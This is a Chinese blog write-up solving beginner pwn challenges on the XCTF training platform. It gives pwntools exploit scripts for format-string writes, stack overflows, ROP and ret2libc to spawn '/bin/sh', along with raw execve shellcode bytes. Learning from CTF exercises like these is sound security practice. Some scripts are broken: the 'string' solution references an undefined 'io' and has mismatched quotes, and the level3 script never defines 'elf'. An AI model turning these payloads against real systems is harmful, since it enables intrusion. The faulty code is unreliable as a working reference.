攻防世界XCTF新手区pwn

0x00get_shell
第一个比较简单,直接看IDA里面的源码,da进入main函数查看,有system和bin/sh
在这里插入图片描述
直接nc连接就可以拿到flag
因为是很久之前做的了,刚刚看了一下好像这个题目被删了

0x01CGfsb
先看一下保护机制
在这里插入图片描述
IDA里面看一下

在这里插入图片描述
可以看出当pwnme=8,就可以拿到flag,然后怎么使pwnme=8呢?
可以看出printf哪里存在格式化字符漏洞,由于printf()函数使用不当,造成任意内存读写,通常使用%n,将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置

在这里插入图片描述
在这里插入图片描述

from pwn import*
p = process('./cgfsb')
elf = ELF('./cgfsb')

p.sendlineafter('please tell me your name:','name')

payload = p32(0x0804A068)+'aaaa'+'%10$n'
p.sendline(payload)
p.interactive()

0x02hello_pwn
在这里插入图片描述
进入sub_400686看一下

在这里插入图片描述
让dword_601068=1853186401然后执行sub_400686函数就可以拿到flag
在这里插入图片描述
read存在溢出,ida查看unk_691968和dword_60106c偏移量为4,然后覆盖dword_60106c值即可

from pwn import*
p = process('./hello_pwn')
elf = ELF('./hello_pwn')
payload = 'a'*4 + p64(1853186401)
p.recvuntil('bof')
p.sendline(payload)
p.interactive()

远程加上端口就行

0x03when_did_you_born

在这里插入图片描述
当birth为1926的时候,就可以拿到flag
先运行程序看一下
在这里插入图片描述

运行会发现当输入1926自动退出,返回主函数,
ida里面观察发现有gets函数,那我们就可以利用gets函数输入v5把原本v6的值覆盖然后替换成1926,就可以了
在这里插入图片描述
var20和var18相差0x8个字符,当v5输入大于0x8个字符,会覆盖掉v6,然后重新给v5赋值,

from pwn import*
p = process('./when_did_you_born')
elf = ELF('./when_did_you_born')

p.recvuntil("What's Your Birth?")
p.sendline("xxxx")

p.recvuntil("What's Your Name?")
payload = 'a'*0x8+p64(0x786)
#十进制的1926即十六进制的0x786
p.sendline(payload)
p.interactive()

0x04level0
在这里插入图片描述
ida看一下主函数
在这里插入图片描述return返回vulnerable_function函数,进去查看一下
在这里插入图片描述可以看出,buf最大为80却给它赋了0
x200所以read存在溢出

在这里插入图片描述
在这里插入图片描述
后来发现有system和bin/sh,那我们read溢出到system,然后执行bin/sh就可以拿到flag
和前面的不同,这是一个64位的程序,64位无法直接传参,会先把参数先存入寄存器中,前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9,所以要先找到rdi的地址
这里直接用ROPgadget就可以找到rdi的地址,bin/sh也可以用这种方法直接找到
在这里插入图片描述在这里插入图片描述

from pwn import*
p=process('./level0')
payload='a'*0x88+p64(0x400663)+p64(0x400685)+p64(0x400320)
#payload=padding+rdi_addr+binsh_addr+sys_addr
p.sendline(payload)
p.interactive()

也可以用简单的rop原理payload = padding + retpadding为136 //十六进制88改为十进制136,buf大小是80h,再加上ebp的8h

from pwn import*
p = process('./level0')
elf = ELF('./level0')

payload='a'*0x88+p64(0x400596)
p.sendline(payload)
p.interactive()

0x05level2
level2和level0思路相同,有system和bin/sh,read函数溢出,只是level2为32位直接传参
payload=‘a’*(0x88+0x4)+p32(sys_add)+‘aaaa’+p32(shell_add)

0x06guess_num
在这里插入图片描述
全开的一道题
在这里插入图片描述
连续猜中10次才能得到flag

在这里插入图片描述
v9经过0x20个字符就可以溢出到seed,如果把seed[0]变成我们可控的数字,就可以使v6和随机数v8相等,得到flag,srand 随机数发生器的初始化函数
随机数生成的原理:rand和srand随机函数生成的随机数并不是真的随机数,只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。
关于ctype库与dll:使用python标准库中自带的ctypes模块进行python和c的混合编程
libc共享库:使用ldd查找
在这里插入图片描述
from ctypes import* #python标准库中自带的ctypes模块进行python和c的混合编程
str(libc.rand()%6+1)随机数按骰子的点数,0到5点,想得到【1到6】之间的随机数,由于区间在【0到5】,把结果+1的话,点数就成了1到6

from pwn import*
from ctypes import*
elf=ELF('./guess_num')
p=process('./guess_num')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload='a'*32+p64(1)
p.sendlineafter('name:',payload)

for i in range(10):
	p.sendlineafter('number:',str(libc.rand()%6+1))

p.interactive()

0x07int_overflow
先运行一下程序看看
在这里插入图片描述
在这里插入图片描述
选1可以输入名字和密码ida分析密码要3到8位否则判定无效数字,选2直接退出,v3字符型变量范围是0-255,超出会造成整数溢出

在这里插入图片描述进到else里,将 read 读进来的 s 复制到 dest 中,是一个可以利用的栈溢出。dest距ebp是14h,再加上ebp的大小,所以需要24个padding填充;
在这里插入图片描述发现了what_is_this里面有flag
s长度大于255,s溢出后返回地址覆盖为what_is_this函数的地址,即可拿到flag;

from pwn import *
p = process('./int_overflow')
elf = ELF('./int_overflow')

p.sendlineafter('Your choice:','1')
p.sendlineafter('username:','aa')
payload = "a"*24 + p32(0x804868b) 
payload = payload.ljust(260,"A")
p.sendlineafter('passwd:',payload)
p.interactive()

0x08cgpwn2
看下主函数
在这里插入图片描述
有gets和fgets函数

在这里插入图片描述name在bss段中,用fgets输入“/bin/sh“,返回地址覆盖成system的地址,再把传参(/bin/sh)到system里面就可以拿到flag

from pwn import *

r=process("./cgpwn2")
e=ELF("./cgpwn2")

r.recvuntil("\n")
r.sendline("/bin/sh")

payload='a'*(0x26+0x4) + p32(0x08048420) + 'aaaa' + p32(0x0804A080)
r.recvuntil("\n")
r.sendline(payload)
r.interactive()

0x09string
这个题目最好重命名一下,可能string会涉及到敏感字符
这个题看题目应该是一个格式化字符串有关的题目
![](https://img-blog.csdnimg.cn/20200324210615537.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTk0ODE4Mw==,size_16,color_FFFFFF,t_70)
看一下printf函数

在这里插入图片描述在这里插入图片描述发现v5=(_int64)v4,可以看到程序给出了这两个数,一个是68, 一个是85,并且可以看到程序会将数组的地址打印出来
在这里插入图片描述当v4=85时,v4[0]的地址也就泄露出来了,可以利用上面发现的格式化字符串漏洞,将v3[0]改写成85,这样就可以到达v1的位置,这样程序就会去执行v1上的指令,如果使用一段shellcode,那么就可以拿到flag

from pwn import *
p = process('./pwn')
p.recvuntil("secret[0] is ")
v3_addr = int(io.recvuntil("\n")[:-1], 16)
log.info("v3_addr:" + hex(v3_addr))
p.sendlineafter("character's name be:"'xxxx')
p.sendlineafter("east or up?:",''east")
p.sendlineafter("there(1), or leave(0)?:","1")
p.recvuntil("'Give me an address'")
p.sendline(str(v3_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.recvuntil("USE YOU SPELL")
p.sendline(shellcode)
p.interactive()

0x10level3
这个题目是两个还是三个嵌套的压缩包,解压好几次才能拿到题目和libc

在这里插入图片描述
在这里插入图片描述
vulnerable_function()函数存在缓存区溢出漏洞,字符串查找也没有找到system和“/bin/sh”
ibc里的地址是随机的,但是函数的相对地址是不变的,知道其中某一个函数的地址,再利用相对位移计算出我们所需要的函数的地址,这个题目中如果知道read或write函数的地址就可以计算出其他函数的地址。但是给了一个libc-2.19.so,就可以读取某一个函数 got 表中的地址来计算 libc 的基址,得到system和/bin/sh内存地址
首先让read函数溢出,然后用write函数泄露write函数本身的地址。利用函数在内存中的地址和libc文件中的偏移的差相等获取基址,来获取system和/bin/sh的地址。最后返回vulnerable_funcion函数,溢出获得shell
A的真实地址-A的偏移地址=B的真实地址-B的偏移=基地址

from pwn import *
p=remote('111.198.29.45',59068)
libc=ELF('./libc_32.so.6')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
func_addr=elf.symbols['vulnerable_function']

payload1='a'*(0x88+0x4)+p32(write_plt)+p32(func_addr)+p32(0x1)+p32(write_got)+p32(0x4)
p.sendlineafter('Input:\n', payload1)
write_addr = u32(p.recv()[:4])

libc_base = write_addr - libc.symbols['write']
sys_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + libc.search('/bin/sh').next()

payload2='a'*(0x88+0x4)+p32(sys_addr)+p32(func_addr)+p32(bin_addr)
p.sendline(payload2)
p.interactive()
发布了6 篇原创文章 · 获赞 0 · 访问量 174

猜你喜欢

转载自blog.csdn.net/weixin_45948183/article/details/105080108